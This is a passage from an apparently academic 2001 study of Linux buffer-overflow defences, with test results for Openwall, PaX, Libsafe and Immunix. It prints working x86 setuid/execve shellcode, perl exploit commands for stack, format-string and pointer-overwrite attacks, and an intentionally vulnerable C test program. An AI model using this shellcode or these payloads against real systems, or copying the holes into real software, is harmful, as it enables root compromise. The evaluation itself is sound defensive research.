minimizing the impact of successful attacks and are covered in chapter 6.  A 

common factor for these routines is that they all require constant work and if the 

system maintenance is not properly arranged, they are easily forgotten. 

3.7 Bound checking languages 

Since none of the above workarounds provide full protection, the best thing to do 

is to focus to the origin of the problem, the C language itself. If any language 

which uses boundary checking would be used instead then we would not have to 

worry about buffer overflows any more. 

 

Java, for example, does not suffer from buffer overflows nor pointer overwrites as 

all references to arrays are checked and there are no pointers at all in the language. 

                                                
3 Check Point is one of the leading firewall vendors. 
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Bound checking makes the programs slower, but the relationship between 

performance and security is a same kind of compromise like the selection between 

a cheap and a good car.  

 

It is not feasible to re-code all programs with a new language, but at least we can 

take this point into consideration when choosing a programming language for our 

next project. But before choosing the latest hype language, it is good to remember 

that eventhough some languages do not suffer from buffer overflows, they may 

contain other security flaws. And even if our own programs were safe, the 

operating system below is likely to be written in C and the whole system will still 

be  vulnerable to these types of flaws. 
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4 CREATING AN OVERFLOW EXPLOIT 

4.1 Finding a vulnerable program 

There are a few commonly used methods for finding vulnerabilities from the 

applications. The easiest way is to examine the source codes itself, searching 

especially for the function calls, which are more likely to be vulnerable. The 

attacker may, for example, search for all the printf() calls from the code and 

search for such occurrence where the format string is not static. This is usually 

impossible for a third party commercial application which does not include the 

source codes, but there are a lot of open source software which include the sources 

with the package. 

 

Examining applications without the sources is more difficult, but not impossible. 

The goal is to get the application to crash with a core dump, from where it is 

possible to find the vulnerable function calls. Crashing programs can be done by 

giving them irrational parameters like 1000 character long user names or 100000 

character long filenames. The parameters are of course very application 

dependent, but if the program can be crashed then it may also be vulnerable. 

Vulnerabilities can also be found when the program crashes in normal use, but 

this is a rather passive way for breaking in. 

4.2 Creating an attack code 

4.2.1 Requirements for attack code 

There are some basic rules all attack codes should follow. The most important is 

that it must be relocateable and therefore it cannot have any static references. It is 

also essential that it doesn’t contain any zero (\0x00) or carrier return (\0x0d) 

characters as these are the end characters for the vulnerable functions. The code 
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should be as small as possible so that it will fit to any buffer the target program 

might offer access to. /1,11/ 

 

If we are not just planning to tease the system operator, the attack code should 

also give access to the target machine. For local attacks it is usually enough to 

spawn a shell, but for remote attacks it is not always that easy. When attacking 

against processes on a remote host, the standard inputs and outputs are not usually 

directed to the open socket. In these cases the attack code should redirect these 

streams to an open socket or create a new socket to a free port. The target host 

may lie behind a firewall and there may not be any free ports open we could use 

for our back door. In these cases the attack may have to performed blindly, 

meaning that instead of spawning a shell, we are directly running other program 

like adduser, which would create a new user account to the target host. This 

account could then be used to login using the normal services available on the 

host. 

 

It would be great to have a platform independent attack code, but that is simply 

impossible since the assembler language is different for every processor and it’s 

not even feasible between different operating systems for same processor as the 

system calls differ.  

 

So as a summary we have the following requirements for the attack code: 

• Relocateable 

• Does not contain \0x00 or \0x0d characters 

• Minimal size 

• Spawns a shell (/bin/sh) 

 

4.2.2 Implementation 

In order to test the security extension products in the next chapter, we need an 

attack code. As our tests will be done in Red Hat 7.0, we will focus on Intel x86 

assembler in implementation. 
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In Linux all system calls are done trough software interrupt 80h, in our case we 

are mostly interested in the system call execve(), which has the system call 

number 0x0b. The system call is selected with the EAX register and the parameters 

are passed through processor registers EBX, ECX, EDX, EDI and ESI. We use the 

first three registers since the execve() has only three parameters. /21/ 

 

Now what we want to do is the system call execve("/bin/sh",argv,NULL), where 

argv is the pointer to an array of pointers containing {"/bin/sh",NULL}. This call 

simply starts a new shell. 

 

The code may not contain any static references and therefore, we have to setup the 

parameters on the fly. We need 16 bytes of temporary memory for our parameters, 

8 for the string "/bin/sh" and the other 8 bytes for argv array containing two 

pointers. Good choices for temporary memory are the stack or the same memory 

area where the attack code itself lies. If we use the same memory area for both 

code and data, then we have to find out where we are. This can be done by using 

the assembler command CALL, which stores the current EIP address to the stack 

from where it can be fetched with the POP command. /1/ If we use the stack as a 

temporary memory, we can get the addresses directly from the ESP register.  

 

In Appendix III there is a basic assembler program which stores needed 

parameters to the stack and executes the execve() system call. It is written with 

The Netwide Assembler (NASM), the syntax of which is similar to Intel’s own. 

/28/ The first example in Appendix III still does not fit as an attack code, because 

it contains several zero (\0x00) bytes when compiled. We can get rid of most the 

zeros by replacing the commands generating zeros to equivalent commands not 

containing the harmful zero byte. For example, the command "MOV EAX,0", can 

be replaced with the command "XOR EAX,EAX". Both set register EAX to 0, but 

the latter doesn’t contain zeros and it also takes up less memory. /28/ The 

optimized version of the attack code is also in Appendix III, it does not contain 

any harmful characters and its’  size is also reduced to 28 bytes. 
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The attack code can be compiled using the NASM compiler. If we want to make 

an executable binary, we first compile the assembler code to an ELF object file 

and then link it to an ELF binary with a linker. Using the ELF format makes it 

relocateable and therefore usable in hostile environment. /28/ The binary 

generated by the linker can be executed and it should simply run /bin/sh. 

 

The executable part of the binary can be dumped to a string using gdb. In our case 

the result string is  

"\xb8\xbc\xcc\xa1\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\

x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80".  

 

In some cases the running process has different effective and real user id. In these 

cases spawning a shell may only give the privileges of the real user. To make sure 

we get all the available privileges we can set the real user identity to the effective 

one using the setuid() system call. The example code is in Appendix III providing 

us another string "\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80". If we combine 

these two strings, we’ll get a code which will set the process user id as root and 

spawn a shell. If used correctly, this magic string will give us access anywhere we 

want. 

4.3 Vulnerable test program 

In addition to having a working attack code, we also need a target for it. We could 

search for bugs from any popular application, but for testing purposes it is more 

sensible to create a program of our own containing all the known holes. This way 

we can test whether the products really provide the security they promise or not.  

 

The source code for the test program is in Appendix II. It takes the overflowable 

parameters and the wanted test case number from the command line and then calls 

the appropriate test function. Running the program without the parameters makes 

the program print out a short help with a list of all the available tests and short 

descriptions of them.  
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4.4 Deploying the attack code 

In this case the target program takes our magic string directly from the command 

line, but it is not usually quite that easy. In most cases we want to get access to a 

remote machine through the Internet. In these cases we also need a program which 

delivers our attack code to the target application.  

 

Before taking this kind of an active approach we need to study the target host 

unnoticeable. Information like the operating system used and the exact version of 

the target application are required when planning the attack. With this information 

it may be possible to find a suitable flaw and to make a working attack code.  

 

Then one needs a deployment program which connects to the target host and 

interacts with the application up to the point where it can send the attack code and 

hijack the process. After the attack code has been executed, the attacker will take 

control. 
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5 EVALUATION OF SECURITY PRODUCTS  

5.1 Test arrangements  

The tests are made in a Linux environment with chosen products installed one by 

one, each utilizing one or more of the methods described earlier. The tests cases 

are basically same for all products, but if it was possible to pass the protection 

through some simple pig hole, then it will be used and mentioned in an 

appropriate report.  

 

The test binary itself is compiled with gcc using debug flag to make analyzing 

easier. The tests are executed with the help of PERL, which allows us to have 

nonprintable characters in command line parameters. 

 

The target program is included in Appendix II. 

 

The test cases are:  

1. Function return address attack using buffer overflow 

2. Function return address attack using fprintf parameter overflow 

3. Function return address attack using non-terminated string attack 

4. Function pointer attack 

5. Existing code attack 

6. Indirect function return address attack using pointers 

7. Function return address attack using array boundary overflow  

8. Heap buffer overflow 

9. Data segment buffer overflow 

10. Performance test A 

11. Performance test B 

Detailed descriptions of the test cases are in Appendix I. 
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5.2 Unprotected system with Linux kernel 2.2.19 

Clean Red Hat Linux 7.0 environment was used as a reference for the other 

products. It should be vulnerable to all the tests described. Results are in Table 5. 

Table 5: Results of unprotected Red Hat 7.0 

Test Expected result Result Notes 
1 root shell root shell  
2 root shell root shell  
3 root shell root shell  
4 root shell root shell  
5 root shell user shell Since the real user id was not changed 

the shell was spawned as a normal user. 
6 root shell root shell  
7 root shell root shell  
8 buffer override buffer override  
9 buffer override buffer override  
10 evaluated time 30.960s (user time) 
11 evaluated time 1m33.210s (user time) 

 

As expected all test cases were vulnerable. 

5.3 Openwall patch for Linux kernel 2.2.19  

In our evaluation the Openwall patch illustrates the effectiveness of both non-

executable stack and shared library address shuffling. Installation requires 

recompilation of the kernel, but since the patch integrates itself as a part of the 

standard kernel configuration, it is rather easy to utilize it. Disabling the patch can 

also be done from the same configuration tool. The test results for our test cases 

are in Table 6. 
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Table 6: Results of Openwall kernel patch 

Test Expected result Result Notes 
1 root shell root shell The attack was detected when the code 

was in stack, but root shell was gained 
when the code was moved to the data 
segment.  

2 root shell root shell  
3 root shell root shell  
4 root shell root shell  
5 root shell user shell Since the real user id was not changed 

the shell was spawned as a normal user. 
6 root shell root shell  
7 root shell   
8 buffer override buffer override  
9 buffer override buffer override  
10 evaluated time 32.150s (user time) 
11 evaluated time 1m33.050s (user time) 

 

As you can see from the results, the non-executable stack provides no real 

security. It is usually possible to use a data segment for storing our attack code so 

even when the stack is the most commonly used, making it non-executable 

provides no extra security.  

 

However, most of the example exploit codes available in the Internet use the stack 

by default and therefore attacking a host protected with this patch requires at least 

some changes to the exploit code. So at least the attacker has to know the basics 

about buffer overflows to be able to abuse these example sources and the system 

operator may also get a valuable warning if the first attack attempt is logged by 

this patch.  

5.4 PaX patch for Linux kernel 2.2.18 

PaX patch is the second kernel patch in our evaluation. In addition to non-

executable stack, it also makes the data segment and the heap non-executable thus 

making virtually all writeable memory areas non-executable. In theory this means 

that we cannot provide any arbitrary code ourselves, but we can still use an 

existing one. Results are in Table 7. 
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The installation itself requires recompilation of the kernel and the patch is 

integrated as a part of normal kernel sources. However there are no configuration 

options so once the patch is appended to the kernel, it cannot be disabled 

anymore. So uninstalling requires reinstalling the kernel sources.  

Table 7: Results of PaX kernel patch 

Test Expected result Result Notes 
1 root shell process killed 

and event 
logged 

  

2 root shell process killed 
and event 
logged 

 

3 root shell process killed 
and event 
logged 

 

4 root shell process killed 
and event 
logged 

 

5 root shell user shell Since the real user id was not changed 
the shell was spawned as a normal user. 

6 root shell process killed 
and event 
logged 

 

7 root shell process killed 
and event 
logged 

 

8 buffer override buffer override  
9 buffer override buffer override  
10 evaluated time 31.160s (user time) 
11 evaluated time 1m35.870s (user time) 

 

The results show that PaX detects most of the attacks, but using existing code still 

provides us a shell prompt. The buffers can still be overwritten making PaX 

vulnerable for data overwriting attacks.  

 

Fortunately most attacks are detected and like Openwall, PaX is also very usable 

to prevent and detect the first attack attempts and even the performance effects are 

negligible. It may not prevent all attacks possible, but as long as its’  weaknesses 

are understood it can be easily recommended to anyone. 
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5.5 Libsafe 2.0 

Libsafe is an example of library wrappers in this evaluation. It uses the preload 

feature of the glibc and therefore no recompilation of target applications is 

required. The installation requires compilation of the library and adding it to the 

list of preloadable libraries and after that it is automatically in use. Rebooting is 

not required, but it is recommended to ensure all daemons are loaded with the 

library. Alternatively the library can be used with per process principle using 

environment variables, but for security reasons this does not work with programs, 

which are marked with the setuid flag.  

 

During the tests a bug was found from library causing the sprintf() checking to 

malfunction in test case 3. The software vendor quickly provided a fixed version 

after a bug report so the fixed version was retested and it was also able to detect 

format string attacks in our tests. 

Table 8: Results L ibsafe 2.0 

 
Test 

Expected result Result Notes 

1 root shell process killed 
and event 
logged 

 

2 root shell process killed 
and event 
logged 

 

3 root shell root shell 
(*process killed 
and event 
logged) 

*sprintf() checking was fixed in version 
Libsafe 2.0-2 (25.4.2001) 

4 root shell root shell  
5 root shell process killed 

and event 
logged 

 

6 root shell root shell  
7 root shell root shell  
8 buffer override buffer override  
9 buffer override buffer override  
10 evaluated time 41.220s (user time) 
11 evaluated time 1m33.530s (user time) 
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As we can see, not all test cases are detected. The poor results in performance test 

10 are not telling the whole truth. The test case 10 contains mainly printf() and 

strcpy() function calls and is thus the worst possible case for Libsafe. In normal 

programs the amount of these vulnerable function calls is much smaller and so the 

test case 11 is closer to the truth. 

5.6 Immunix 6.2 

Immunix is our example of compiler extensions. Actually it is a full Red Hat 

Linux 6.2 distribution compiled with the StackGuard C compiler. The compiler 

attaches an additional canary value to each local variable block between the return 

address and the local variables. This canary value is then checked to be untouched 

before returning to calling function. /10/  

 

The installation of Immunix is equal to a Red Hat installation, but upgrading an 

existing Red Hat installation is not recommended. This means that the server must 

be reinstalled from scratch, which makes it the hardest to install within this 

evaluation. 

 

Unfortunately the new 7.0 version of Immunix was not available during the 

evaluation and the tests had to be done with the old 6.2 version. The 7.0 version 

promises to detect format string attacks, so in our tests it would probably have 

done better than the old version. The new version also contains some other tools 

like SubDomain to strengthen the overall server security. 
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Table 9: Results of Immunix 6.2 

Test Expected result Result Notes 
1 root shell process killed 

and event 
logged 

 

2 root shell root shell  
3 root shell process killed 

and event 
logged 

 

4 root shell root shell  
5 root shell user shell Since the real user id was not changed 

the shell was spawned as a normal user. 
6 root shell root shell  
7 root shell root shell  
8 buffer override buffer override  
9 buffer override buffer override  
10 evaluated time 30.700s Tested on the same machine as the 

others by copying the test binary. (user 
time)  

11 evaluated time N/A Different test machine, not comparable 
to other results 

 

As these tests show, Immunix also provides only a partial solution. The 

performance test 11 was not carried out since the test machine was different from 

the others. Test case 10 was done in the same Red Hat 7.0 machine as the others 

generating even better results than the clean reference system. However the 

compiler was slightly different with the other tests, which can explain this 

speedup and this test is not fully comparable to the others either. As a result of test 

10 we can assume only that the overhead of StackGuard is minimal.  

 

The difficult installation to existing systems makes Immunix less attractive than 

other products, but for new installations it is a very competitive alternative for the 

standard Red Hat distribution. Also forthcoming features in Immunix 7.0 make it 

more valuable if the advertisement is telling the whole truth. 
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5.7 Results 

5.7.1 Attack prevention 

All the test cases are gathered in Table 10 and successful detections are 

summarized. According to the table, PaX seems to be the winner. This doesn’t 

necessarily mean that the PaX is the best solution as Immunix and Openwall 

provide some additional security features beyond stack overwriting attacks. The 

products are also not exclusive and one can use several of them at the same time. 

 

Table 10 

N:o Clean Openwall PaX Libsafe Immunix 

1 - X4 X X X 

2 - - X X - 

3 - - X X5 X 

4 - - X - - 

5 - - - X - 

6 - - X - - 

7 -   - - 

8 - - - - - 

9 - - - - - 
�

 0 1 5 4 2 

 

                                                
4 Detected only partially, successful attack with small changes. 
5 sprintf() checking was fixed in version Libsafe 2.0-2 (25.4.2001). 
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5.7.2 Performance 

Following charts are based on the measured times of each test. These results show 

that the performance loss of these products is minimal. On figure 2 the results for 

Immunix are not available since the Immunix tests were made on a different 

machine than the others. The test result for Immunix on figure 1 was measured by 

copying the instrumented binary to the original test machine. 

 

 

Poor results for Libsafe in figure 1 are partly caused by the test case, which 

contains mainly "dangerous" function calls which are passed through the Libsafe. 

In normal applications the amount of these calls is smaller and so the test case 11 

gives us more truthful results. 
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Figure 1: Results of the first per formance 

Figure 2: Results of the second per formance test 
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6 MINIMIZING THE IMPACT OF SUCCESSFUL ATTACK 

6.1 Running programs with least privileges  

As none of the methods presented above are fully secure, it is reasonable to 

prepare for getting penetrated by a successful attack. The first thing to do is to cut 

down any unnecessary privileges from all server daemons. This is essential since 

when the attacker gets in, he will inherit the privileges from the daemon process 

and if it is running as a root then the attacker gets directly full access to the 

system. With root privileges its’ easy to remove all entries related to the attack 

from the log files and install a backdoor for getting back later. /9,20/ 

 

Most server daemons, which are open to the Internet, will work fine with very 

restricted privileges. Somehow they are still installed as root by default. Of course 

there are some daemons requiring root privileges to provide services like FTP, but 

often accessing these ports can be restricted to trusted sites. 

 

It is also reasonable to restrict the files these server processes can access to the 

ones they really need. This is also relatively easy if one keeps it in mind when the 

directory structure of these programs is designed. If all the files can be placed 

under one directory and it’s subdirectories, then the jailing can be done with a 

single chroot command. /26/ 

 

If the program has its’ files spread all over the file system, then we may still 

restrict the file access with normal file user modes. However this requires 

designing a very strict overall file mode policy to be effective.  

6.2 Detecting the intrusion 

Above methods restricts the attacker for what he can do, but once the attacker has 

get in he will not stop, instead he will continue with other techniques. He may try 

to get root access through some other vulnerable program, setup network sniffer 
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for collecting passwords and so on. The main idea is that the more time the 

attacker has, the more harm he can cause. So it might be nice to know when there 

is an outsider in the system. 

 

There are several very usable utilities, which monitor the system for any abnormal 

behavior. These utilities can for example check the system log files, scan the file 

system for changed files and detect local stack overwriting attacks. Some of them 

can also prevent the attacker from running unauthorized executables. One such 

utility is CryptoMark, which adds a digital signature to all authorized binaries. 

These signatures are checked by the kernel before execution and if they do not 

match then the process is never started and an alert is sent to the system operator. 

This should prevent the attacker from running any Trojan horses in the server and 

thus preventing installation of network sniffers and similar dangerous 

applications. /4/ 

 

However, the most important thing needed to detect an attacker is the overall 

awareness that it is possible. If we install all the above security products and then 

declare our servers totally secure, then we are really in a lot of trouble when our 

systems are controverted. No server is totally secure and after all security by 

obsecurity is not real security at all. 

6.3 Backups 

Backups are normally associated with disasters like fires and floods, but actually 

intruders are equal to these disasters. While the hardware itself remain untouched, 

once the intruder has got in, it is hard to be sure whether all the backdoors have 

been found and removed. Some of his actions may have been logged into the log 

files, but it is possible that the attacker has altered these files and covered part of 

his actions.  

 

Sometimes it is easier to reinstall everything from scratch and this is when you 

need the backups. If you know when the attack has occurred then you may restore 

any full backup made before. If you don’t have backups, you may have to install 
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everything again from scratch and pray that the data itself is untouched. If you 

can’t take the risk of using possibly modified data, you can only write it once 

again. 

 

So you better have the backups from rather long periods of time and you better 

had recognize the attacker quite fast if you really want to recover from intrusions. 
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CONCLUSION 

As the test results show, the problem of buffer overflows and format strings 

remains unsolved. Instead the tested products provide a partial solution and the 

minimal performance effects make them still very useful. They are also not 

exclusive to each other, so they can be used together with each other. However 

one should bear in mind that the security by obsecurity is dangerous and so these 

products should only be used as mousetraps for the attackers. Some kind of 

paranoia is still required in system administration, as these products do not 

provide a full solution to the problem and it is also good to remember that there 

are other methods to of breaking into a system than buffer overflows.  

 

Unfortunately all the products tested are only available for Linux. Kernel patches 

are of course very platform specific and as commercial OS vendors do not 

distribute kernel sources, it is up to the vendors to make these kinds of patches. 

The same applies also to the library wrappers and the compiler extensions if they 

are not open source software. Hopefully also commercial OS vendors will pay 

attention and provide similar solutions in return to their expensive license fees. 

 

There is still one more threat that remains uncovered. Even if we could protect all 

the servers against these attacks, we are still left with the workstations that have 

varying sets of vulnerable applications. And as usual, system administration is 

often unaware of some of these applications as they are installed against company 

policies. And once the workstation is compromised, the servers are only matter of 

time. 
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APPENDICES 

TEST CASE DESCRIPTIONS 

No Explanation 

Execution flow of the test case 

Expected results 

 

1 Function return address attack using buffer  over flow 

The function return address is changed to point to the attack code in stack by 

overflowing the strcpy() in test program’s function stacktest(). Following 

command is used in clean Red Hat: 

perl -e ’system 
"./eval","4","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\x
cc\xa1\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\
xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80"."X"x"26"."\xf0\xec\xff\xbf",""’ 
 
Expected result is a shell prompt with root access 

 

2 Function return address attack using fpr intf over flow 

The function return address is changed to point to the attack code in the data 

segment by overflowing the snprintf() parameter list in the test program’s 

stacktest() function. Following command is used in clean Red Hat: 

perl -e ’system "./eval","-
data","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\xcc\xa1
\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\xe1\x3
1\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80","4","","\x8c\xed\xff\xbf\x8d\xed\xff\xb
f%c%161c%hhn%hhn"’ 
 
Expected result is a shell prompt with root access 
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3 Function return address attack using non-terminated str ing attack 

The function return address is changed to point to the attack code in the data 

segment by overflowing the sprintf() in test program’s indirecttest() function. 

Following command is used in clean Red Hat: 

perl -e ’system "./eval","-
data","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\xcc\xa1
\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\xe1\x3
1\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80","3","X"x"128"."\x10\xea\xff\xbf\x60\x
aa\x4\x8","X"x"256"’ 
 
Expected result is a shell prompt with root access 

 

4 Function pointer  attack 

The function pointer address is changed to point to the attack code in the data 

segment by overflowing the strcpy() in test program’s functionpointertest() 

function. Following command is used in clean Red Hat: 

perl -e ’system "./eval","-
data","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\xcc\xa1
\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\xe1\x3
1\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80","5","X"x"268"."\xaa\xaa\x4\x8",""’ 
 
Expected result is a shell prompt with root access 

 

5 Existing code attack 

The function return address is changed to point to the shell code in the code 

segment by overflowing the strcpy() in test program’s stacktest() function. 

Following command is used in clean Red Hat: 

perl -e ’system "./eval","4","","\x9c\xee\xff\xbf%c%8c%hhn"’ 
 
Expected result is a shell prompt with root access 
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6 Indirect function return address attack using pointers 

The function return address is changed to point to the attack code in the data 

segment by overflowing the strcpy() in test program’s indirecttest() function. 

Following command is used in clean Red Hat: 

perl -e ’system "./eval","-
data","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\xcc\xa1
\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\xe1\x3
1\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80","6","X"x"268"."\x8c\xec\xff\xbf","\xaa
\xaa\x4\x8"’ 
 
Expected result is a shell prompt with root access 

 

7 Function return address attack using ar ray boundary over flow 

The function return address is changed to point to the attack code in the data 

segment by overflowing a local array with an illegal index.  

Following command is used in clean Red Hat: 

perl -e ’system "./eval","-
data","\x90"x"200"."\x31\xc0\xb0\x17\x31\xdb\x31\xc9\xcd\x80\xb8\xbc\xcc\xa1
\x01\xc1\xe8\x02\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x50\x53\x89\xe1\x3
1\xd2\xb0\x0b\xcd\x80\xb0\x01\xcd\x80","7","-3","XXXX\xaa\xaa\x4\x8"’ 
 
Expected result is a shell prompt with root access 

 

8 Heap buffer  over flow 

Data buffer is changed in the heap by overflowing the strcpy() in test program’s  

heaptest() function. Following command is used in clean Red Hat: 

perl -e ’system "./eval","2","X"x"264"."Hacked memory area","X"’ 
 
Expected result is an overwritten buffer 
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9 Data segment buffer  over flow 

Data buffer is changed in the data segment by overflowing the strcpy() in test 

program’s datasegmenttest() function. Following command is used in clean Red 

Hat: 

perl -e ’system "./eval","1","X"x"288"."Hacked memory area","X"’ 
 
Expected result is an overwritten buffer 

 

10 Per formance test A 

System performance is tested with a simple loop containing strcpy(), sprintf() and 

function calls. Following command is executed: 

time ./eval 8 5000000 test 
 
Expected result is evaluated time 

 

11 Per formance test B 

System performance is tested by decompressing and then recompressing the 

Linux kernel sources. Following command is executed: 

time ‘cat /usr/src/linux-2.2.19.tar.gz |gzip -d -c|gzip -c >/dev/null‘  
 
Expected result is evaluated time 
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VULNERABLE TEST PROGRAM 

 
/*  
* *  Very vulnerable test program 
**  
**  (C) Ville Alkkiomäki 2001  
**  
* / 
 
 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/types.h> 
 
 
/*  
* *  Global variables for testing buffer overwrites in the heap and data segment 
* / 
 
char datasegmentbuf[256]; 
char datasegmentbuf2[64]; 
char *  heap; 
char datasegment[256]; 
 
/*  
* *  Struct for our test cases and descriptions 
* / 
 
typedef struct {  
  char name[80]; 
  char desc[128]; 
  int  (* test)(); 
}  Test; 
 
/*  
* *  Struct for array bounds overflow test 
* / 
 
typedef struct {  
  char name[8]; 
}  User; 
 
/*  
* *  Array bounds overflow test 
* / 
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int arrayboundarytest(char *  buf,char *  format) 
{  
  User users[10]; 
 
  strncpy(users[atoi(buf)].name,format,8); 
 
  printf("Array index:%d\nbuf:%s\nformat:%s\n",atoi(buf),buf,format); 
  return 0; 
}  
 
/*  
* *  Test for buffer overflows in data segment 
* / 
 
int datasegmenttest(char *  buf,char *  format) 
{  
  strcpy(datasegmentbuf2,"Data in data segment"); 
  strcpy(datasegmentbuf,buf); 
 
printf("buf:%s\nformat:%s\ndatasegmentbuf:%s\ndatasegmentbuf2: %s\n", 
buf,format,datasegmentbuf,datasegmentbuf2); 

  return 0; 
}  
 
/*  
* *  Test for buffer overflows in heap 
* / 
 
int heaptest(char *  buf,char *  format) 
{  
  char tmpbuf[256]; 
 
  char *  tmpbuf1; 
  char *  tmpbuf2; 
 
  tmpbuf1=(char*)malloc(256); 
  tmpbuf2=(char*)malloc(256); 
 
  strcpy(tmpbuf2,"Temporary buffer in heap."); 
  strcpy(tmpbuf1,buf); 
 
  printf("tmpbuf1:%s (%p)\ntmpbuf2:%s (%p)\nbuf:%s\nformat:%s\n", 
tmpbuf1,tmpbuf1,tmpbuf2,tmpbuf2,buf,format); 
  return 0; 
}  
 
/*  
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**  Non-terminated string test 
* / 
 
int nonterminatedtest(char *  buf,char *  format) 
{  
  char targetbuf[512]; 
  char buf1[256]; 
  char buf2[256]; 
   
  strncpy(buf1,buf,256); 
  strncpy(buf2,format,256); 
 
  sprintf(targetbuf,"%s%s",buf1,buf2); 
 
  printf("targetbuf:%s (%p)\nbuf:%s\nformat:%s\n", 
targetbuf,&targetbuf,buf,format); 
  return 0; 
}  
 
/*  
* *  Test for buffer overflows and format string attacks in stack 
* / 
 
int stacktest(char *  buf,char *  format) 
{  
  char tmpbuf[256]; 
  char tmpformat[256]; 
 
  strcpy(tmpbuf,buf); 
  strncpy(tmpformat,format,256); 
  fprintf(stderr,tmpformat); 
 
  printf("tmpbuf:%s (%p)\ntmpformat: %s (%p)\nbuf:%s\nformat:%s\n", 
tmpbuf,&tmpbuf,tmpformat,& tmpformat,buf,format); 
  return 0; 
}  
 
/*  
* *  Function pointer overwrite test 
* / 
 
int functionpointertest(char *  buf,char *  format) 
{  
  int (* fcn)()=&functionpointertest; 
  char tmpbuf[256]; 
 
  if (!buf) 
    return 0; 
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  strcpy(tmpbuf,buf); 
 
  printf("tmpbuf:%s (%p)\nbuf:%s\nformat:%s\nfcn:%p\n", 
tmpbuf,&tmpbuf,buf,format,fcn); 
  (* fcn)(NULL,NULL); 
  return 0; 
}  
 
/*  
* *  Indirect stack overwrite test using pointers 
* / 
 
int indirecttest(char *  buf,char *  format) 
{  
  char *  targetbuf; 
  char tmpbuf[256]; 
  char tmpformat[256]; 
 
  targetbuf=tmpformat; 
 
  strcpy(tmpbuf,buf); 
 
  snprintf(targetbuf,256,format); 
 
  printf("tmpbuf:%s (%p)\ntmpformat:%s (%p)\ntargetbuf:%s \ 
(%p)\nbuf:%s\nformat:%s\n",  
tmpbuf,&tmpbuf,tmpformat,& tmpformat,targetbuf,targetbuf,buf,format); 
  return 0; 
}  
 
/*  
* *  Subfunction for performance test 
* / 
 
int speedtest2() 
{  
 return 0; 
}  
 
/*  
* *  Simple performance test 
* / 
 
int speedtest(char *  buf,char *  format) 
{  
  char tmpbuf[256]; 
  char tmpformat[256]; 
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  time_t start; 
  int  i; 
 
  start=time(NULL); 
 
  strcpy(tmpbuf,format); 
 
  for (i=0;i<atoi(buf);i++) {  
    strcpy(tmpformat,tmpbuf); 
    sprintf(tmpbuf,"%s",tmpformat); 
    speedtest2(); 
    strcpy(tmpformat,tmpbuf); 
    sprintf(tmpbuf,"%s",tmpformat); 
    speedtest2(); 
  }  
 
  printf("Test time:%d\n",time(NULL)-start); 
  return 0; 
}  
 
/*  
* *  main() 
* / 
 
int main(int argc,char **argv) 
{  
  int currentarg; 
  int test; 
  int i; 
   
  /*  
  * *  Available tests and descriptions 
  * / 
 
  Test tests[]={  
"Data segment",  
"string1 is copied to the buffer located near target buffer in data segment", 
datasegmenttest, 
"Heap segment",  
"string1 is copied to the buffer located near target buffer in heap segment", 
heaptest,  
"Non-terminated string",  
"string1 and string2 are copied to targetbuf",  
nonterminatedtest,  
"Stack segment",  
"string1 is copied to tmpbuf using strcpy and string2 is used as a format string", 
stacktest,  
"Function pointer",  
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"string1 is copied to tmpbuf",  
functionpointertest,  
"Pointer overwrite",  
"string1 is copied to tmpbuf and string2 is copied to targetbuf",  
indirecttest,  
"Array boundary",  
"string1 is used as an index and string2 is copied to the array element", 
arrayboundarytest,  
"Performance",  
"string1 is used as a counter for loop copying string2",  
speedtest} ; 
 
  /*  
  * *  Stupid user checking 
  * / 
 
  if (argc<4) {  
    printf("Usage:\n%s [-data <data>] <test number> <string1> <string2>\n\n", 
argv[0]); 
    printf("<data>\t\tData copied to buffers in data segment and heap\n"); 
    printf("<test number>\tNumber of the test\n"); 
    printf("\t\t0=Spawn shell\n"); 
    for (i=0;i<sizeof(tests)/sizeof(Test);i++) 
      printf("\t\t%d=%s test\n",i+1,tests[i].name); 
    exit(1); 
  }  
   
  /*  
  * *  Check for -data parameter and copy string to buffers if needed 
  * / 
 
  currentarg=1; 
  if (!strncmp(argv[currentarg],"-data",5)) {  
    currentarg++; 
    heap=(char*)malloc(strlen(argv[currentarg])+1); 
    strcpy(datasegment,argv[currentarg]); 
    strcpy(heap,argv[currentarg]); 
    currentarg++; 
  }  
 
  /*  
  * *  Print out some addresses to help hacking 
  * / 
 
  printf("Address info:\n\tBuffer in data segment at %p\n\tBuffer in heap at %p\n", 
&datasegment,heap); 
 
  /*  
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  **  Execute given test case 
  * / 
 
  test=atoi(argv[currentarg++]); 
  if (test>0 && test<1+sizeof(tests)/sizeof(Test)) {  
    printf("Executing %s test\n(%s)\n\n", tests[test-1].name,tests[test-1].desc); 
    tests[test-1].test(argv[currentarg],argv[currentarg+1]); 
  }  
 
  /*  
  * *  Spawn shell as a test case 0 
  * *  (for existing code attack) 
  * / 
 
  if (test==0) {  
      char shell[]="/bin/sh"; 
      char *  args[]={ (char*)&shell,(char*)NULL} ; 
      execve("/bin/sh",args,NULL); 
  }  
 
  /*  
